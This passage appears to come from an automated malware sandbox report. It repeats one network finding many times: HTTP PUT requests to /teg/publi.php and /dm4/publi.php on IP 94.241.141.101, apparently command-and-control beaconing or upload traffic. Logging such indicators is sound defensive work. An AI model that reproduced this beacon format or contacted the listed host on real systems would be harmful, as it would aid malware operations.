Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /dm4/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
